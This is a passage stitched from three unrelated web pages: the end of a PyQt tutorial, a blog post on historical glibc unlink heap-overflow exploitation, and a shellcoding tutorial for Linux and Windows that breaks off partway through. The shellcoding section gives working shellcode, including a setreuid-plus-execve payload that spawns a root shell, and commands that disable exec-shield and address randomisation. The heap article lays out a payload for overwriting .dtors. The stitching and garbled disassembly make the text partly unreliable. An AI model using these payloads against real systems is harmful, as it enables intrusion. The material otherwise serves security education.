Almost done\! Last thing we need to do is to turn off the **autoDefault**
setting for our delete button. \(Setting a button as default means that it
will get 'clicked' if the user presses Enter on the dialog. For us it would
not make sense to add text to the list box on Enter, and then have the delete
button automatically triggered, clearing our list box.\) The **autoDefault**
property is True by default, so we need to set it to False in the **Property
Editor** window for the button. Click on the button to see the **Property**
window for it in the lower right-hand corner.

  

<img src='img/Temp2_6526.png' />

  

Finally we are done with QT designer. Save all your work.

  

  

Now open up a shell. We want to compile our GUI code into Python code. This is
done for us by the `pyuic` compiler. Pass the `.ui` file as an argument, and
it will spit out Python code onto standard output. \(So it's more useful to
redirect the output to another file.\)

`pyuic form1.ui > form1.py`

Now you end up with `form1.py` which is a module containing your dialog as a
Python class. Since it has no `main()` function, you can't run it directly.
Instead, we need to create a simple wrapper for it, like so:

  

`from qt import *  
from form1 import *  
import sys  
if __name__ == "__main__":  
app = QApplication(sys.argv)  
f = Form1()  
f.show()  
app.setMainWidget(f)  
app.exec_loop()  
`

Without going into too much detail, we import the QT library Python module, as
well as our dialog class. Then we create a context for our QT application,
instantiate our dialog, show it on the screen, set it as the main widget of
the application, and let QT enter its event loop, processing all the signals
and calling our slots. Save this in a separate Python file, e.g. `mygui.py`.
Needless to say, this wrapper is fairly generic and can be reused for most of
your Python/QT applications. Finally, we are ready to run\! Execute your app
with:

`python mygui.py`

It should look something like this:

  

<img src='img/Temp2_6534.png' />

  

If you type something into the line edit box and press Enter, it should get
added to the list box. If you hit the X button, the list box should be
cleared. If it doesn't behave as it should, go back and re-read the steps, you
probably missed something. :\)

  

Well, that's about it. Now go create something more fun\! Except you probably
want to know about all these widgets and all their methods. How do we know who
does what? The easiest way to find out is to read the QT Classes Reference
\(or the Main QT Reference page\) that describes all the QT classes
\(including all the widgets\) and their methods and properties. Their examples
are in C++, but they translate very well into Python. All the names are
exactly the same -- just replace C++ syntax with Python, and you are good to
go\!

  

**Files used in this project**  
---  
form1.ui

form1.ui.h

mygui.py

  

**As an exercise, add some Python code that saves the contents of the list box
to a file on exit, and then loads the data from the file at startup.**  
---  
Good luck, have fun, and I hope my tutorial has helped you out somewhat.

  

  

* * *

# x86 Exploitation 101: heap overflows… unlink me, would you please? | gb\_master's /dev/null
**Created:**| _7/16/2015 10:59:29 AM_  
---|---  
**Updated:**| _7/16/2015 11:02:23 AM_  
**Author:**| __  
**Tags:**| _x86_  
  

Well, do the previous techniques apply to the dynamic allocation scenario?
What if, instead of a statically allocated array, there’s a malloc-ed space?
Would that work? Well, more or less, but things get REALLY more complicated.
And I mean it for real. So, instead of stack overflows, there will be heap
overflows: problem is that heap and stack work in different ways. In addition,
the heap is handled differently according to the allocator implementation:
this makes heap overflow exploits really dependent on the allocator
implementation and on the operating system. As for now I’m taking care about
Linux, I decided to analyze the exploitation scenario and the history of the
most common Linux allocator, i.e. the one included in GNU C library \(glibc\).

  

Why should I care about the history? Glibc developers patched, time after
time, the most of the bugs in the malloc implementation that allowed exploits
to work. This, anyway, is a good training exercise to really get into this
stuff and understand the general thought. Also, as the exploitation of a heap
overflow strongly relies on the implementation of the allocator, a deep
analysis on how it’s implemented is mandatory.

  

So, first things first. How is the malloc implemented in glibc? The
implementation is a variation of the ptmalloc2 implementation, which is a
variation of dlmalloc. Anyway, as the glibc code says, “There have been
substantial changes made after the integration into glibc in all parts of the
code. Do not look for much commonality with the ptmalloc2 version”. Even if
it’s a variation of a variation, the fundamental ideas are still the same.
Actually the ptmalloc2 supports more than one heap at the same time, and each
heap is identified by the following structure:

  

typedef struct \_heap\_info  
\{  
  mstate ar\_ptr; /\* Arena for this heap. \*/  
  struct \_heap\_info \*prev; /\* Previous heap. \*/  
  size\_t size;  /\* Current size in bytes. \*/  
  size\_t mprotect\_size; /\* Size in bytes that has been mprotected  
                          PROT\_READ|PROT\_WRITE.  \*/  
  /\* Make sure the following data is properly aligned, particularly  
    that sizeof \(heap\_info\) + 2 \* SIZE\_SZ is a multiple of  
    MALLOC\_ALIGNMENT. \*/  
  char pad\[-6 \* SIZE\_SZ & MALLOC\_ALIGN\_MASK\];  
\} heap\_info;

  

The most important thing in this structure is the ar\_ptr variable, as it’s a
pointer to the arena, i.e. the heap itself. Also, there’s the size variable
storing the size of the heap. Having more than one heap in a multi-threading
context is really useful, as if a thread is reading the content of a variable
in a given arena and another thread asks to allocate new memory, it is
possible to create a new arena and use the newly created one to perform all
the required operations.

  

Each arena is described by the following structure:

  

struct malloc\_state  
\{  
  /\* Serialize access.  \*/  
  mutex\_t mutex;  
  
  /\* Flags \(formerly in max\_fast\).  \*/  
  int flags;  
  
  /\* Fastbins \*/  
  mfastbinptr fastbinsY\[NFASTBINS\];  
  
  /\* Base of the topmost chunk -- not otherwise kept in a bin \*/  
  mchunkptr top;  
  
  /\* The remainder from the most recent split of a small request \*/  
  mchunkptr last\_remainder;  
  
  /\* Normal bins packed as described above \*/  
  mchunkptr bins\[NBINS \* 2 - 2\];  
  
  /\* Bitmap of bins \*/  
  unsigned int binmap\[BINMAPSIZE\];  
  
  /\* Linked list \*/  
  struct malloc\_state \*next;  
  
  /\* Linked list for free arenas.  \*/  
  struct malloc\_state \*next\_free;  
  
  /\* Memory allocated from the system in this arena.  \*/  
  INTERNAL\_SIZE\_T system\_mem;  
  INTERNAL\_SIZE\_T max\_system\_mem;  
\};

  

In this structure, there’s the mutex for this arena, used during concurrent
accesses, and two other really important fields: top and bins. The top field
is a chunk of memory \(the fundamental element of the allocator\) and it’s
where the data for which the space has been allocated are going to be stored.
Each chunk in this is a memory fragment that can be allocated. At the
beginning, there’s only one big chunk in the arena \(called wilderness\),
which is pointed by the top field itself: this chunk is always free and its
size represents the free space of the arena. Also it marks the end of the
available space of the arena.

  

The bins array is composed by double-linked lists to chunks that were
allocated and that were successively freed \(this means that, at the
beginning, all the bins are empty\). Each bin stores a list of chunks of
specified size in order to allow the allocator to easily search for a free
chunk, given the size: the research will be performed by starting looking for
the smallest and best-fitting one.

  

The chunk is described by the following structure:

  

struct malloc\_chunk  
\{  
  INTERNAL\_SIZE\_T      prev\_size;  /\* Size of previous chunk \(if free\). 
\*/  
  INTERNAL\_SIZE\_T      size;      /\* Size in bytes, including overhead. \*/  
  
  struct malloc\_chunk\* fd;        /\* double links -- used only if free. \*/  
  struct malloc\_chunk\* bk;  
  
  /\* Only used for large blocks: pointer to next larger size.  \*/  
  struct malloc\_chunk\* fd\_nextsize; /\* double links -- used only if free.
\*/  
  struct malloc\_chunk\* bk\_nextsize;  
\};

  

The different fields of this structure are used in different ways, depending
on the status of the chunk itself. If the chunk is allocated, only the first
two fields are present. The prev\_size fields specifies the size of the
previous chunk if the previous one is free \(if it is allocated, then this
field is “shared” with the previous chunk, enlarging it of 4 bytes, in order
to decrease the waste of space\), while the size field specifies the size of
the current chunk. Then, if the chunk is in free state, there are in addition
two pointers: fd and bk. These are the pointers used to double link the list
of chunks. The other two pointers \(present anyway only in free chunks\) are
not that important in this context and won’t be examined.

  

How come there’s no flag to tell if the current chunk is free or allocated?
Well, a feature of the chunks in this implementation is that they are 8-bytes
aligned: this means that the last three bits of the size field can be used as
general purpose flags.

\- The LSB of the size variable tells us if the previous chunk is allocated or
not \(PREV\_INUSE\)

\- The following bit tells if the chunk was allocated by using the mmap system
call \(IS\_MMAPPED\)

\- The third bit specifies if the chunk is stored in the main arena or not
\(NON\_MAIN\_ARENA\)

  

In order to know if a given chunk is free or not it is necessary to get the
next chunk by adding size to the pointer of the current chunk \(obtaining the
address of the next chunk\), and checking the LSB of the size field of the
next chunk.

  

When the malloc function is called, the first thing done is to search in the
bins if there’s already a previously-freed chunk available matching the
specified size, otherwise, a new chunk is created in the wilderness next to
last allocated one. If a chunk is found in the bins, it is necessary to remove
it from the list, in order to keep the whole structure coherent. This is done
by using the infamous unlink macro defined in malloc.c: this macro uses the bk
and the fd fields of the chunk to be moved to perform its task. Before glibc
2.3.4 \(released at the end of the 2004\), the unlink macro was defined as
follows:

  

/\* Take a chunk off a bin list \*/  
\#define unlink\(P, BK, FD\) \{                                            \  
  FD = P->fd;                                                          \  
  BK = P->bk;                                                          \  
  FD->bk = BK;                                                        \  
  BK->fd = FD;                                                        \  
\}

  

This macro is just an extraction of an item from a double-linked list:
business as usual. If no space is available on the heap, new memory for the
heap is requested to the operating system, by using the sbrk or the mmap
system call \(if mmap is used, then the chunk is marked with the IS\_MMAPPED
bit\). The heap address where the chunk has been allocated is then returned to
malloc.

  

However there’s another situation in which the unlink macro may be used:
during a free. In fact, if the chunk\(s\) next \(both before and after\) to
the one that is going to be freed is/are not used, then all of them are merged
together in one chunk. This means that all the chunks that were in free status
before the merging need to be unlinked from the bins where they were by using
the aforementioned macro. The resulting chunk is finally moved to the
unsorted\_chunks list

  

On July 2000, Solar Designer on Openwall and then on November 2001 MaXX on
Phrack \#57, published two articles on how to exploit this macro. Their whole
point is: what if it was possible to modify the fd and the bk pointers? In
fact, if we look at the malloc\_chunk structure, the whole unlink macro can be
reduced to the following instructions:

  

FD = \*P + 8;  
BK = \*P + 12;  
FD + 12 = BK;  
BK + 8 = FD;

  

This means that, if we could control the fd and the bk pointers, it would be
possible to overwrite the FD+12 location with the BK content. If BK points to
the shellcode address, that would be awesome. Actually the BK+8 location gets
overwritten as well, and that would be in the middle of the shellcode itself:
this means that the first instruction of the shellcode should jump over this
overwritten part. Here the chance of overwriting any DWORD of memory is given:
the problem is which one would be of any use to be overwritten? Overwriting
the return address, just like in the stack overflows, is a painful, as it
depends on the stack situation at the moment. Interesting alternatives would
be about overwriting something in libc, an exception handler address, or the
free function address itself. This means that every single function pointer
can actually be overwritten.

  

MaXX, in his article on Phrack, proposed the idea of overwriting the first
function pointer emplacement in the .dtors section \(he actually re-proposed
the ideas already exposed in this article\). gcc provides an interesting
feature: constructors and destructors. The idea behind this is exactly the
same used in C++ for classes. It is possible to specify attributes for some
functions that will be automatically executed before the main function
\(constructors\) or after \(destructors\). The declarations are specified in
the following way:

  

static void start\(void\) \_\_attribute\_\_ \(\(constructor\)\);  
static void stop\(void\) \_\_attribute\_\_ \(\(destructor\)\);

  

where start and stop are arbitrary names for functions. The addresses of these
functions will be stored, respectively, in the .ctors and in .dtors section in
the following way: there are 4 bytes set to 0xFF at the beginning and 4 bytes
set to 0x00 at the end and, in between, there are the addresses of the
functions. Of course, if there are no constructors/destructors defined, the
.ctors/.dtors section would look like 0xFFFFFFFF 0x00000000. The goal is to
overwrite the 0x00000000 part with the address of the function that has to be
executed as a constructor \(the head MUST be left as 0xFFFFFFFF\).

  

So, the “only” thing left to do is to be able to control the fd and the bk
pointers. How this can be done? To do this, two adjacent allocate chunks are
required and an overflow must be possible on the first one. In fact, let’s say
that we have the following piece of code:

  

\#include <stdlib.h>  
\#include <string.h>  
int main\(int argc, char \*\*argv\)  
\{  
  char \*first\_buf;  
  char \*second\_buf;  
  
  first\_buf = \(char \*\)malloc\(78 \* sizeof\(char\)\);  
  second\_buf = \(char \*\)malloc\(20 \* sizeof\(char\)\);  
  
  strcpy\(first\_buf, argv\[1\]\);  
  free\(first\_buf\);  
  free\(second\_buf\);  
  
  return 0;  
\}

  

The heap situation will look like:

  

first\_buf size has been aligned to 8-bit \(so, from 78 to 80 byte of buffer
space\) and includes the prev\_size and the size fields \(80+4+4=88\). In
addition the LSB has been set to 1, as the chunk is used: the final size for
this chunk is 89 \(0x59\). The second\_buf chunk size is already 8-bit aligned
and shares the first 4 bytes with the previous chunk: this means that the
final size of the chunk itself is 25 \(0x19\), as the LSB is set as well.

  

It is clear that, if we overflow first\_buf, it is possible to overwrite the
data of second\_buf \(metadata included\). So here’s the strategy:

\- The second\_buf chunk must be “transformed” into a freed chunk

\- The address of memory where the 4 bytes are going to be written \(minus
12\) must be stored in the fd field of the chunk storing second\_buf

\- The 4 bytes to be written must be stored in the bk field of the chunk
storing second\_buf

\- The whole thing must be triggered when free\(first\_buf\) is executed

  

The strategy is pretty simple: the only tricky point is the first one, but its
solution is simple and awesome. Glibc’s implementation of malloc checks if a
chunk is free or not with the following macro:

  

\#define inuse\_bit\_at\_offset\(p, s\)  \(\(\(mchunkptr\) \(\(\(char \*\)
\(p\)\) + \(s\)\)\)->size & PREV\_INUSE\)

  

where p is the address of the chunk and s is its size \(it actually checks the
PREV\_INUSE bit of the size field of the following chunk\). This would mean
modify a third chunk? Well, no… What if the size of the second chunk is set to
0? The size of the second chunk itself is read\! As the size is set to 0, the
PREV\_INUSE bit is clear: according to glibc the second\_buf is a free chunk.
That’s everything we need, actually.

  

The payload to be written in first\_buf will be:

\- 78 bytes of useless data

\- 4 bytes of useless data overwriting the prev\_size field of second\_buf‘s
chunk

\- 4 bytes set to 0 overwriting the size field of second\_buf‘s chunk

\- 4 bytes set to the address of the last for bytes of dtors \(the one having
0x00000000\) overwriting the bk field of second\_buf‘s chunk

\- 4 bytes set to the address of the shellcode to be executed overwriting the
fd field of second\_buf‘s chunk

  

This is really everything’s needed to execute an heap overflow exploiting the
unlink macro bug.

  

An alternative way of exploitation exists: the double-free scenario. What
happens if the same chunk is freed twice? Some glibc’s versions ago, it would
have been inserted twice in the free chunks list. Let’s say that one of these
two chunks is then reallocated and that we modify the locations where the fd
and bk fields are. Then let’s say that we get managed to allocate the “second”
chunk still in the free list: as the unlink macro is called at allocation time
as well, the whole mechanism is triggered again in a similar way. This trick
known as the double-free exploitation, and even if it’s not THAT documented,
there are known exploits aiming at this kind of vulnerability.

  

Sadly, all this won’t work nowadays for four reasons:

\- The RELRO technique \(enabled by default on recent Linux distributions\)
marks the relocation sections used to dynamically dynamically loaded functions
read-only \(.ctors, .dtors, .jcr, .dynamic and .got\): this means that the
program crashes if it tries to modifies one of these sections.

\- The \_\_do\_global\_dtors\_aux function \(which is the one executing the
destructors\) has been hardened in 2007 in such a way that only the
destructors actually defined in the code are going to be executed.

\- As said at the beginning, the unlink macro has been hardened in order to
check the pointers before unlinking:

  

\- \#define unlink\(P, BK, FD\) \{                                           
\  
  FD = P->fd;                                                          \  
  BK = P->bk;                                                          \  
  if \(\_\_builtin\_expect \(FD->bk \!= P || BK->fd \!= P, 0\)\)             
 \  
    malloc\_printerr \(check\_action, "corrupted double-linked list", P\); \  
  else \{                                                              \  
    FD->bk = BK;                                                      \  
    BK->fd = FD;                                                      \  
  \}                                                                    \  
\}  
In a normal situation P->fd->bk points to P \(the same is true for
P->bk->fd\): if this isn’t the case, then it means that the pointers have been
modified and that the double-linked list is corrupted.

  

\- Checks for double free have been added more or less everywhere

  

The next step in this field is the publication of another article on Phrack
\#61 by jp on August 2003 \(still, some time before the unlink macro was
patched on glibc\) that aims at build a higher layer on what MaXX discovered
two years before. jp’s main point is: what should I do if I know that I can
write four bytes of its memory with almost any arbitrary data with the unlink
technique? At the beginning of the paper he defined the new acronym aa4bmo
meaning “Almost Arbitrary 4 Bytes Mirrored Overwrite” and for respect’s sake I
will keep using this acronym from now on. When MaXX wrote his article, there
was no NON\_MAIN\_ARENA bit, so what jp did is an update of the techniques
exposed by MaXX in order to have them working on the 2003 version of glibc and
the implementation of the aa4bmoPrimitive function that allows to write more
or less complex programs exploiting the aforementioned vulnerability.

  

Based on the aa4bmo primitive, Phantasmal Phantasmagoria wrote another
interesting article called “Exploiting the Wilderness“: in fact he proved
that, in case an overflowable buffer is located next to the wilderness, then
it is possible to have the aa4bmo.

  

Of course, this jp’s whole work \(and everything else based on that\) stopped
working when the unlink macro was hardened.

  

MaXX, jp and Phantasmal Phantasmagoria’s work were an important step in heap
overflow exploitation’s history, as they opened minds to new roads and it
didn’t take too much to realize that there were/are other ways to exploit heap
overflows. In fact, in 2005 Phantasmal Phantasmagoria came out with a
theoretical article Malloc Maleficarum and started a new rush to the heap
overflow exploits. All these next steps will be explained in the next article.

About these ads

  

Share this:

  

\- Twitter

  

\- Facebook

  

Loading...

  

Related

  

x86 Exploitation 101: this is the first witchy house

In "Exploitation"

  

x86 Exploitation 101: "House of Force" \- Jedi overflow

In "Exploitation"

  

x86 Exploitation 101: "House of Lore" \- People and traditions

In "Exploitation"

  

<img src='img/Temp2_10769.png' width='300' height='196' alt='Bins and Chucks'
/>

<img src='img/Temp2_10767.png' width='339' height='159' />

<img src='img/Temp2_10768.png' width='640' height='55' />

# Shellcoding for Linux and Windows Tutorial

**Created:**| _1/15/2012 10:41:06 PM_  
---|---  
**Updated:**| _1/15/2012 10:41:06 PM_  
**Author:**| __  
**Tags:**| _shellcode bookmark Tutorials_  
  

##

Shellcoding for Linux and Windows Tutorial

with example windows and linux shellcode

by steve hanna  
http://www.vividmachines.com/  
steve./c/.hanna@gmail/.com  
for premier computer security research check out: http://www.sigmil.org/  

**Table of Contents**  

[code]

    	
    	Change Log
    	Frequently Asked Questions
    	Background Information
    	Required Tools
    	Optional Tools
    	Linux Shellcoding
    		- Example 1 - Making a Quick Exit
    		- Example 2 - Saying Hello
    		- Example 3 - Spawning a Shell
    	Windows Shellcoding
    		- Example 1 - Sleep is for the Weak
    		- Example 2 - A Message to say "Hey"
    		- Example 3 - Adding an Administrative Account
    	Advanced Shellcoding Methods
    		- Printable Shellcode
    	Conclusion
    	Further Reading/Attributions
    
[/code]

## Change Log

1\. **Created** \- _July 2004_  
2\. **Advanced Shellcoding Methods Section Added** \- _Sept 2005_  
3\. **Updated Faq regarding stack randomization.** \- _June 2007_

## Frequently Asked Questions

1\. **What is shellcoding?**

In computer security, shellcoding in its most literal sense, means writing
code that will return a remote shell when executed. The meaning of shellcode
has evolved, it now represents any byte code that will be inserted into an
exploit to accomplish a desired task.

2\. **There are tons of shellcode repositories all around the internet, why
should I write my own?**

Yes, you are correct, there are tons of repositories all around the internet
for shellcoding. Namely, the metasploit project seems to be the best. Writing
an exploit can be difficult, what happens when all of the prewritten blocks of
code cease to work? You need to write your own\! Hopefully this tutorial will
give you a good head start.

3\. **What do I need to know before I begin?**

A decent understanding of x86 assembly, C, and knowledge of the Linux and
Windows operating systems.

4\. **What are the differences between windows shellcode and Linux
shellcode?**

Linux, unlike windows, provides a direct way to interface with the kernel
through the **int 0x80** interface. A complete listing of the Linux syscall
table can be found here. Windows on the other hand, does not have a direct
kernel interface. The system must be interfaced by loading the address of the
function that needs to be executed from a DLL \(Dynamic Link Library\). The
key difference between the two is the fact that the address of the functions
found in windows will vary from OS version to OS version while the **int
0x80** syscall numbers will remain constant. Windows programmers did this so
that they could make any change needed to the kernel without any hassle; Linux
on the contrary has fixed numbering system for all kernel level functions, and
if they were to change, there would be a million angry programmers \(and a lot
of broken code\).

5\. **So, what about windows? How do I find the addresses of my needed DLL
functions? Don't these addresses change with every service pack upgrade?**

There are multitudes of ways to find the addresses of the functions that you
need to use in your shellcode. There are two methods for addressing functions;
you can find the desired function at runtime or use hard coded addresses. This
tutorial will _mostly_ discuss the hard coded method. The only DLL that is
guaranteed to be mapped into the shellcode's address space is kernel32.dll.
This DLL will hold LoadLibrary and GetProcAddress, the two functions needed to
obtain any functions address that can be mapped into the exploits process
space. There is a problem with this method though, the address offsets will
change with every new release of Windows \(service packs, patches etc.\). So,
if you use this method your shellcode will ONLY work for a specific version of
Windows. Further dynamic addressing will be referenced at the end of the paper
in the Further Reading section.

6\. **What's the hype with making sure the shellcode won't have any NULL bytes
in it? Normal programs have lots of NULL bytes\!**

Well this isn't a normal program\! The main problem arises in the fact that
when the exploit is inserted it will be a string. As we all know, strings are
terminated with a NULL byte \(C style strings anyhow\). If we have a NULL byte
in our shellcode things won't work correctly.

7\. **Why does my shellcode program crash when I run it?**

Well, in most shellcode the assembly contained within has some sort of self
modifying qualities. Since we are working in protected mode operating systems
the .code segment of the executable image is read only. That is why the shell
program needs to copy itself to the stack before attempting execution.

8\. **Can I contact you?**

Sure, just email shanna@uiuc.edu. Feel free to ask questions, comments, or
correct something that is wrong in this tutorial.

9\. **Why did you use intel syntax, UGHHH?\!**

I don't know\! I honestly prefer at&t syntax, but for some reason I felt
compelled to do this in intel syntax. I am really sorry\!

10\. **Why does my program keep segfaulting? Yes, I read item 7 above, but it
STILL crashes.**

You probably are using an operating system with randomized stack and address
space and possibly a protection mechanism that prevents you from executing
code on the stack. All Linux based operating systems are not the same, so I
present a solution for Fedora that should adapt easily.  

[code]

    echo 0 > /proc/sys/kernel/exec-shield   #turn it off
    echo 0 > /proc/sys/kernel/randomize_va_space #turn it off
    
    echo 1 > /proc/sys/kernel/exec-shield   #turn it on
    echo 1 > /proc/sys/kernel/randomize_va_space #turn it on
    
[/code]

## Background Information

  * EAX, EBX, ECX, and EDX are all 32-bit General Purpose Registers on the x86 platform.
  * AH, BH, CH and DH access the upper 16-bits of the GPRs.
  * AL, BL, CL, and DL access the lower 8-bits of the GPRs.
  * ESI and EDI are used when making Linux syscalls.
  * Syscalls with 6 arguments or less are passed via the GPRs.
  * XOR EAX, EAX is a great way to zero out a register \(while staying away from the nefarious NULL byte\!\)
  * In Windows, all function arguments are passed on the stack according to their calling convention.

##  Required Tools

  * gcc
  * ld
  * nasm
  * objdump

##  Optional Tools

  * odfhex.c \- a utility created by me to extract the shellcode from "objdump -d" and turn it into escaped hex code \(very useful\!\).
  * arwin.c \- a utility created by me to find the absolute addresses of windows functions within a specified DLL.
  * shellcodetest.c \- this is just a copy of the c code found below. it is a small skeleton program to test shellcode.
  * exit.asm hello.asm msgbox.asm shellex.asm sleep.asm adduser.asm \- the source code found in this document \(the win32 shellcode was written with Windows XP SP1\).
  * 

## Linux Shellcoding

When testing shellcode, it is nice to just plop it into a program and let it
run. The C program below will be used to test all of our code.

` `

* * *
` _/*shellcodetest.c*/_ `

[code]

    char code[] = "bytecode will go here!";
    int main(int argc, char **argv)
    {
      int (*func)();
      func = (int (*)()) code;
      (int)(*func)();
    }
[/code]

` `

* * *
  

#### Example 1 - Making a Quick Exit

The easiest way to begin would be to demonstrate the exit syscall due to it's
simplicity. Here is some simple asm code to call exit. Notice the al and XOR
trick to ensure that no NULL bytes will get into our code.

* * *
[code]

    ;_exit.asm_
    [SECTION .text]
    global _start
    _start:
            xor eax, eax       ;exit is syscall 1
            mov al, 1       ;exit is syscall 1
            xor ebx,ebx     ;zero out ebx
            int 0x80
    
    
    
[/code]

* * *
[code]

    Take the following steps to compile and extract the byte code.
    steve hanna@1337b0x:~$ **nasm -f elf exit.asm**
    steve hanna@1337b0x:~$ **ld -o exiter exit.o**
    steve hanna@1337b0x:~$ **objdump -d exiter**
    
    exiter:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048080 <_start>:
     8048080:       **b0 01**                   mov    $0x1,%al
     8048082:       **31 db**                   xor    %ebx,%ebx
     8048084:       **cd 80**                   int    $0x80
    
[/code]

The bytes we need are **b0 01 31 db cd 80**.

Replace the code at the top with:**  
char code\[\] = "\xb0\x01\x31\xdb\xcd\x80";**

Now, run the program. We have a successful piece of shellcode\! One can strace
the program to ensure that it is calling exit.

#### Example 2 - Saying Hello

For this next piece, let's ease our way into something useful. In this block
of code one will find an example on how to load the address of a string in a
piece of our code at runtime. This is important because while running
shellcode in an unknown environment, the address of the string will be unknown
because the program is not running in its normal address space.

* * *
[code]

    ;_hello.asm_
    [SECTION .text]
    
    global _start
    
    
    _start:
    
            jmp short ender
    
            starter:
    
            xor eax, eax    ;clean up the registers
            xor ebx, ebx
            xor edx, edx
            xor ecx, ecx
    
            mov al, 4       ;syscall write
            mov bl, 1       ;stdout is 1
            pop ecx         ;get the address of the string from the stack
            mov dl, 5       ;length of the string
            int 0x80
    
            xor eax, eax
            mov al, 1       ;exit the shellcode
            xor ebx,ebx
            int 0x80
    
            ender:
            call starter	;put the address of the string on the stack
            db 'hello'
    
    
[/code]

* * *
  

[code]

    steve hanna@1337b0x:~$ **nasm -f elf hello.asm**
    steve hanna@1337b0x:~$ **ld -o hello hello.o**
    steve hanna@1337b0x:~$ **objdump -d hello**
    
    hello:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048080 <_start>:
     8048080:       **eb 19**                   jmp    804809b 
[/code]

08048082 <starter>: 8048082: **31 c0** xor %eax,%eax 8048084: **31 db** xor
%ebx,%ebx 8048086: **31 d2** xor %edx,%edx 8048088: **31 c9** xor %ecx,%ecx
804808a: **b0 04** mov $0x4,%al 804808c: **b3 01** mov $0x1,%bl 804808e:
**59** pop %ecx 804808f: **b2 05** mov $0x5,%dl 8048091: **cd 80** int $0x80
8048093: **31 c0** xor %eax,%eax 8048095: **b0 01** mov $0x1,%al 8048097: **31
db** xor %ebx,%ebx 8048099: **cd 80** int $0x80 0804809b <ender>: 804809b:
**e8 e2 ff ff ff** call 8048082

80480a0: **68 65 6c 6c 6f** push $0x6f6c6c65 Replace the code at the top with:
**char code\[\] =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
"\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";**

[code]

    **** At this point we have a fully functional piece of shellcode that outputs to stdout.
    Now that dynamic string addressing has been demonstrated as well as the ability to zero
    out registers, we can move on to a piece of code that gets us a shell.
    
    
    
[/code]

#### Example 3 - Spawning a Shell

This code combines what we have been doing so far. This code attempts to set
root privileges if they are dropped and then spawns a shell. Note:
system\("/bin/sh"\) would have been a lot simpler right? Well the only problem
with that approach is the fact that system always drops privileges.  
  
Remember when reading this code:  
_**execve**\(**const char** \*filename, **const char** \*\* argv, **const
char** \*\* envp\);_  
  
So, the second two argument expect pointers to pointers. That's why I load the
address of the "/bin/sh" into the string memory and then pass the address of
the string memory to the function. When the pointers are dereferenced the
target memory will be the "/bin/sh" string.

* * *
[code]

    _;shellex.asm_
    [SECTION .text]
    
    global _start
    
    
    _start:
            xor eax, eax
            mov al, 70              ;setreuid is syscall 70
            xor ebx, ebx
            xor ecx, ecx
            int 0x80
    
            jmp short ender
    
            starter:
    
            pop ebx                 ;get the address of the string
            xor eax, eax
    
            mov [ebx+7 ], al        ;put a NULL where the N is in the string
            mov [ebx+8 ], ebx       ;put the address of the string to where the
                                    ;AAAA is
            mov [ebx+12], eax       ;put 4 null bytes into where the BBBB is
            mov al, 11              ;execve is syscall 11
            lea ecx, [ebx+8]        ;load the address of where the AAAA was
            lea edx, [ebx+12]       ;load the address of the NULLS
            int 0x80                ;call the kernel, WE HAVE A SHELL!
    
            ender:
            call starter
            db '/bin/shNAAAABBBB'
    
    
    
[/code]

* * *
[code]

    steve hanna@1337b0x:~$ **nasm -f elf shellex.asm**
    steve hanna@1337b0x:~$ **ld -o shellex shellex.o**
    steve hanna@1337b0x:~$ **objdump -d shellex**
    
    shellex:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048080 <_start>:
     8048080:       **31 c0**                   xor    %eax,%eax
     8048082:       **b0 46**                   mov    $0x46,%al
     8048084:       **31 db**                   xor    %ebx,%ebx
     8048086:       **31 c9**                   xor    %ecx,%ecx
     8048088:       **cd 80**                   int    $0x80
     804808a:       **eb 16**                   jmp    80480a2 
[/code]

0804808c

: 804808c: **5b** pop %ebx 804808d: **31 c0** xor %eax,%eax 804808f: **88 43
07** mov %al,0x7\(%ebx\) 8048092: **89 5b 08** mov %ebx,0x8\(%ebx\) 8048095:
**89 43 0c** mov %eax,0xc\(%ebx\) 8048098: **b0 0b** mov $0xb,%al 804809a:
**8d 4b 08** lea 0x8\(%ebx\),%ecx 804809d: **8d 53 0c** lea 0xc\(%ebx\),%edx
80480a0: **cd 80** int $0x80 080480a2

: 80480a2: **e8 e5 ff ff ff** call 804808c

80480a7: **2f** das 80480a8: **62 69 6e** bound %ebp,0x6e\(%ecx\) 80480ab:
**2f** das 80480ac: **73 68** jae 8048116

80480ae: **58** pop %eax 80480af: **41** inc %ecx 80480b0: **41** inc %ecx
80480b1: **41** inc %ecx 80480b2: **41** inc %ecx 80480b3: **42** inc %edx
80480b4: **42** inc %edx 80480b5: **42** inc %edx 80480b6: **42** inc %edx
Replace the code at the top with:  
**char code\[\] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42";**

[code]

    This code produces a fully functional shell when injected into an exploit
    and demonstrates most of the skills needed to write successful shellcode. Be
    aware though, the better one is at assembly, the more functional, robust,
    and most of all evil, one's code will be.
[/code]

[code]

     
[/code]

[code]

     
[/code]

[/code]

[code]

## Windows Shellcoding

#### Example 1 - Sleep is for the Weak\!

In order to write successful code, we first need to decide what functions we
wish to use for this shellcode and then find their absolute addresses. For
this example we just want a thread to sleep for an allotted amount of time.
Let's load up arwin \(found above\) and get started. Remember, the only module
guaranteed to be mapped into the processes address space is kernel32.dll. So
for this example, Sleep seems to be the simplest function, accepting the
amount of time the thread should suspend as its only argument.

[code]

    G:\> **arwin kernel32.dll Sleep**
    arwin - win32 address resolution program - by steve hanna - v.01
    Sleep is located at **0x77e61bea** in kernel32.dll
    
    
[/code]

* * *
[code]

    ;_sleep.asm_
    [SECTION .text]
    
    global _start
    
    
    _start:
            xor eax,eax
            mov ebx, 0x77e61bea ;address of Sleep
            mov ax, 5000        ;pause for 5000ms
            push eax
            call ebx        ;Sleep(ms);
    
    
    
[/code]

* * *
[code]

    steve hanna@1337b0x:~$ **nasm -f elf sleep.asm; ld -o sleep sleep.o; objdump -d sleep**
    sleep:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048080 <_start>:
     8048080:       31 c0                   xor    %eax,%eax
     8048082:       bb ea 1b e6 77          mov    $0x77e61bea,%ebx
     8048087:       66 b8 88 13             mov    $0x1388,%ax
